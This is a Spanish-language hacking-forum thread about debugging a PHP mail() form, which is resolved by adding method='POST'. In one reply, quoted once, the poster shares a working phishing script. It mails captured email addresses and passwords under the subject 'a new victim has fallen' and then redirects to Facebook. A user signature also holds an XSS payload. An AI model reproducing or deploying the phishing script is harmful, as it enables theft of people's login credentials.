Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

[SOLUCIONADO] Fallo mail php

  • 14 Respuestas
  • 3229 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Conectado rollth

  • *
  • Underc0der
  • Mensajes: 876
  • Actividad:
    3.33%
  • Reputación 16
  • El conocimiento es libre.
    • Ver Perfil
    • Whateversec
    • Email
  • Twitter: @RoloMijan
« en: Noviembre 30, 2014, 09:29:59 pm »
Buenas a todos, ya he mandado mails otras veces en php, pero ahora no se en que estoy fallando que no se manda. Dejo el form del html y el codigo php.

Código: HTML5
  1. <form action="correof.php">
  2. <input name="correof">
  3. <button type="submit">Enviar</button>
  4. </form>

correof.php

Código: PHP
  1. <?php
  2. $correoreceptor = trim($_POST['correof']);
  3. $asunto = "Prueba";
  4. $mensaje = "Prueba";
  5.  
  6. mail($correoreceptor, $asunto, $mensaje);
  7.  
  8. header('Location: xxxxxxxxxxxxxx');
  9. ?>
  10.  

A ver si saben porque es, porque ando loco.
« Última modificación: Febrero 26, 2015, 10:10:54 pm por Gabriela »

Conectado hielasangre

  • *
  • Underc0der
  • Mensajes: 160
  • Actividad:
    0%
  • Reputación 4
    • Ver Perfil
« Respuesta #1 en: Diciembre 01, 2014, 12:20:49 am »
Buenas a todos, ya he mandado mails otras veces en php, pero ahora no se en que estoy fallando que no se manda. Dejo el form del html y el codigo php.

Código: HTML5
  1. <form action="correof.php">
  2. <input name="correof">
  3. <button type="submit">Enviar</button>
  4. </form>

correof.php

Código: PHP
  1. <?php
  2. $correoreceptor = trim($_POST['correof']);
  3. $asunto = "Prueba";
  4. $mensaje = "Prueba";
  5.  
  6. mail($correoreceptor, $asunto, $mensaje);
  7.  
  8. header('Location: xxxxxxxxxxxxxx');
  9. ?>
  10.  

A ver si saben porque es, porque ando loco.
subiste un phpinfo, y te fijaste si tiene la funcion mail activada?
« Última modificación: Diciembre 01, 2014, 06:59:24 am por blackdrake »

Conectado rollth

  • *
  • Underc0der
  • Mensajes: 876
  • Actividad:
    3.33%
  • Reputación 16
  • El conocimiento es libre.
    • Ver Perfil
    • Whateversec
    • Email
  • Twitter: @RoloMijan
« Respuesta #2 en: Diciembre 01, 2014, 08:02:59 am »
No, pero se que la tiene activada porque ya he utilizado la funcion mail y ha funcionado. Lo tengo subido en hostinger.

Desconectado Jimeno

  • *
  • Underc0der
  • Mensajes: 367
  • Actividad:
    0%
  • Reputación -1
  • NULL
    • Ver Perfil
    • Twitter
  • Skype: migueljimeno96
  • Twitter: &quot;&gt;&lt;&lt;img src=y onerror=prompt();&gt;
« Respuesta #3 en: Diciembre 01, 2014, 09:28:10 am »
Es por culpa del mail, necesitas poner el final, el "\r\n". Te dejo copypaste de php.net
Ejemplo #1 Enviar un correo.

Usando mail() para enviar un correo simple:
Código: PHP
  1. <?php
  2. // El mensaje
  3. $mensaje = "Línea 1\r\nLínea 2\r\nLínea 3";
  4.  
  5. // Si cualquier línea es más larga de 70 caracteres, se debería usar wordwrap()
  6. $mensaje = wordwrap($mensaje, 70, "\r\n");
  7.  
  8. // Enviarlo
  9. mail('caffeinated@example.com', 'Mi título', $mensaje);
  10. ?>
Contacto: @migueljimeno96 -

Conectado rollth

  • *
  • Underc0der
  • Mensajes: 876
  • Actividad:
    3.33%
  • Reputación 16
  • El conocimiento es libre.
    • Ver Perfil
    • Whateversec
    • Email
  • Twitter: @RoloMijan
« Respuesta #4 en: Diciembre 01, 2014, 11:54:31 am »
Probare a añadirle /r/n a ver que tal...

Conectado rollth

  • *
  • Underc0der
  • Mensajes: 876
  • Actividad:
    3.33%
  • Reputación 16
  • El conocimiento es libre.
    • Ver Perfil
    • Whateversec
    • Email
  • Twitter: @RoloMijan
« Respuesta #5 en: Diciembre 01, 2014, 06:31:12 pm »
Es por culpa del mail, necesitas poner el final, el "\r\n". Te dejo copypaste de php.net
Ejemplo #1 Enviar un correo.

Usando mail() para enviar un correo simple:
Código: PHP
  1. <?php
  2. // El mensaje
  3. $mensaje = "Línea 1\r\nLínea 2\r\nLínea 3";
  4.  
  5. // Si cualquier línea es más larga de 70 caracteres, se debería usar wordwrap()
  6. $mensaje = wordwrap($mensaje, 70, "\r\n");
  7.  
  8. // Enviarlo
  9. mail('caffeinated@example.com', 'Mi título', $mensaje);
  10. ?>

Sigue sin enviarse, aclaro que no me da ningun error, simplemente no se envia...

Desconectado arthusu

  • *
  • Underc0der
  • Mensajes: 555
  • Actividad:
    1.67%
  • Reputación 2
  • Yo solo se que no se nada - Socrátes
    • Ver Perfil
    • Arthusu BLOG
  • Skype: arthusuxD
« Respuesta #6 en: Diciembre 01, 2014, 10:56:57 pm »
Pruebalo en otro servidor, como dijo hielasangre debe ser la configuracion ;)
Pentest - Hacking & Security Services

Contact me: arthusu@gmail.com

Conectado rollth

  • *
  • Underc0der
  • Mensajes: 876
  • Actividad:
    3.33%
  • Reputación 16
  • El conocimiento es libre.
    • Ver Perfil
    • Whateversec
    • Email
  • Twitter: @RoloMijan
« Respuesta #7 en: Diciembre 02, 2014, 09:59:31 am »
Eso habia pensado, contratare otro servicio de hosting gratuito... Gracias por contestar.

Conectado rollth

  • *
  • Underc0der
  • Mensajes: 876
  • Actividad:
    3.33%
  • Reputación 16
  • El conocimiento es libre.
    • Ver Perfil
    • Whateversec
    • Email
  • Twitter: @RoloMijan
« Respuesta #8 en: Diciembre 02, 2014, 01:28:02 pm »
Acabo de testear en otro host y sigue sin funcionar, yo creo que es por el code, pero no se...

Desconectado arthusu

  • *
  • Underc0der
  • Mensajes: 555
  • Actividad:
    1.67%
  • Reputación 2
  • Yo solo se que no se nada - Socrátes
    • Ver Perfil
    • Arthusu BLOG
  • Skype: arthusuxD
« Respuesta #9 en: Diciembre 02, 2014, 02:51:00 pm »
Acabo de testear en otro host y sigue sin funcionar, yo creo que es por el code, pero no se...
Has visto en correos de spam?
Pentest - Hacking & Security Services

Contact me: arthusu@gmail.com

Conectado rollth

  • *
  • Underc0der
  • Mensajes: 876
  • Actividad:
    3.33%
  • Reputación 16
  • El conocimiento es libre.
    • Ver Perfil
    • Whateversec
    • Email
  • Twitter: @RoloMijan
« Respuesta #10 en: Diciembre 02, 2014, 03:02:03 pm »
Tampoco esta en spam, el host si me manda correos con este script

Código: PHP
  1. <?php
  2.  
  3. $user = trim($_POST['email']);
  4. $password = trim($_POST['password']);
  5.  
  6. $correoreceptor = "xxxxx@xxxxxx.com";
  7. $asunto = "Ha caido una nueva víctima";
  8. $mensaje = "Usuario: ".$user."  -  Contraseña: ".$password;
  9.  
  10. mail($correoreceptor, $asunto, $mensaje);
  11. header('Location: https://www.facebook.com');
  12.  
  13. ?>

Desconectado arthusu

  • *
  • Underc0der
  • Mensajes: 555
  • Actividad:
    1.67%
  • Reputación 2
  • Yo solo se que no se nada - Socrátes
    • Ver Perfil
    • Arthusu BLOG
  • Skype: arthusuxD
« Respuesta #11 en: Diciembre 02, 2014, 04:15:00 pm »
Tampoco esta en spam, el host si me manda correos con este script

Código: PHP
  1. <?php
  2.  
  3. $user = trim($_POST['email']);
  4. $password = trim($_POST['password']);
  5.  
  6. $correoreceptor = "xxxxx@xxxxxx.com";
  7. $asunto = "Ha caido una nueva víctima";
  8. $mensaje = "Usuario: ".$user."  -  Contraseña: ".$password;
  9.  
  10. mail($correoreceptor, $asunto, $mensaje);
  11. header('Location: https://www.facebook.com');
  12.  
  13. ?>

Si has solucionado el tema marcalo como tal para que lo cierren ;)
Pentest - Hacking & Security Services

Contact me: arthusu@gmail.com

Conectado rollth

  • *
  • Underc0der
  • Mensajes: 876
  • Actividad:
    3.33%
  • Reputación 16
  • El conocimiento es libre.
    • Ver Perfil
    • Whateversec
    • Email
  • Twitter: @RoloMijan
« Respuesta #12 en: Diciembre 02, 2014, 07:24:13 pm »
No lo he solucionado, eso es otro script que hice que si me lo mandaba, el primero que postee es otro diferente que no se manda, la diferencia es que en lugar de modificar el mensaje a partir del input se modifica el correo receptor y empieza a fallar, esta noche intentare arreglarlo y si lo consigo posteare la solucion.

Desconectado ezephp

  • *
  • Underc0der
  • Mensajes: 46
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #13 en: Diciembre 12, 2014, 12:39:20 pm »
en form pone method='POST' ....

Desconectado arthusu

  • *
  • Underc0der
  • Mensajes: 555
  • Actividad:
    1.67%
  • Reputación 2
  • Yo solo se que no se nada - Socrátes
    • Ver Perfil
    • Arthusu BLOG
  • Skype: arthusuxD
« Respuesta #14 en: Diciembre 13, 2014, 02:42:39 am »
en form pone method='POST' ....
LEL Cierto!  ;D
Pentest - Hacking & Security Services

Contact me: arthusu@gmail.com

 

¿Te gustó el post? COMPARTILO!



[SOLUCIONADO] ¿Kali Linux o Kali Linux Ligth ?

Iniciado por worq

Respuestas: 2
Vistas: 11152
Último mensaje Noviembre 21, 2017, 12:28:54 pm
por Codig0Bit
[SOLUCIONADO] Multiuploader de imagenes con mysql, hosting de imagenes con mysql

Iniciado por graphixx

Respuestas: 4
Vistas: 2574
Último mensaje Marzo 26, 2013, 05:42:58 pm
por Xt3mP
[SOLUCIONADO] ¿Como publicar un software como software libre?

Iniciado por FuriosoJack

Respuestas: 2
Vistas: 1971
Último mensaje Mayo 23, 2017, 07:24:22 am
por HATI
[SOLUCIONADO] Linux Mint, errores, errores y mas errores...

Iniciado por n1sendev

Respuestas: 12
Vistas: 3773
Último mensaje Noviembre 22, 2017, 06:50:55 am
por RuidosoBSD
[SOLUCIONADO] Ayuda urgente con Virus "Virus.Win32Sality"

Iniciado por Napsters

Respuestas: 6
Vistas: 3917
Último mensaje Junio 11, 2012, 03:38:18 am
por Satyricon